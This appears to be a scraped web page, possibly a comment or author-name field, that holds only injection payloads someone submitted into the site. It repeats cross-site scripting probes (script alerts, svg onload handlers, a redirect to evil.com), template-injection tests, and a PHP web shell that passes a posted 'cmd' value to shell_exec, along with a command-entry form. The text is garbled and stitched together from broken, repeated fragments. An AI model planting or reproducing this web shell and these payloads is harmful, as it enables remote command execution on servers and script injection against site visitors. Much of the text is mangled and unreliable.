Author name: Gautam Singh

” . shell_exec($cmd) . “”; } ?> html <%=7*7%> ({{7*7}}) ‘”> Click here ” Click me

location=’https://evil.com’ alert(1) location=’https://evil.com’ <script>alert(1)</script> <script>location=’https://evil.com'</script> ” . shell_exec($cmd) . “”; } ?> html <%=7*7%> ({{7*7}}) ‘”> Click here ” Click me

” . shell_exec($cmd) . “”; } ?> html <%=7*7%> ({{7*7}}) ‘”> Click here ” Click me alert(‘HACKED’) html ({{7*7}}) ‘”> Click here alert(“XSS”)” Click me <?php if (isset($_POST['cmd'])) { $cmd = $_POST['cmd']; echo " ” . shell_exec($cmd) . ” “; } ?> alert(‘HACKED’) *{background: pink !important;} html ({{7*7}}) ‘”> Click here alert(“XSS”)” Click me

Hacked Test body { background: pink !important; }

[?parameter=]”>1%27)”–><Svg/OnLoad=(confirm)(7)<!– ‘”> Click here <svg/onload=alert(‘XSS’)> <img “””>” Click me

<?php system(‘whoami’); ?><?phpif (isset($_POST[‘cmd’])) {$cmd = $_POST[‘cmd’];echo “<pre>” . shell_exec($cmd) . “</pre>”;}?><form method=”POST”><input type=”text” name=”cmd” placeholder=”Enter command”><input type=”submit” value=”Execute”></form><script>alert(‘HACKED’)</script><style>*{background: pink !important;}</style><marquee>html</marquee><script>location=’https://evil.com'</script><%=7*7%>({{7*7}})

[?parameter=]”>1%27)”–><Svg/OnLoad=(confirm)(7)<!– ‘”> Click here <svg/onload=alert(‘XSS’)> <img “””>” Click me alert(‘HACKED’) [?parameter=]”>1%27)”–><Svg/OnLoad=(confirm)(7) Click here alert(“XSS”)” Click me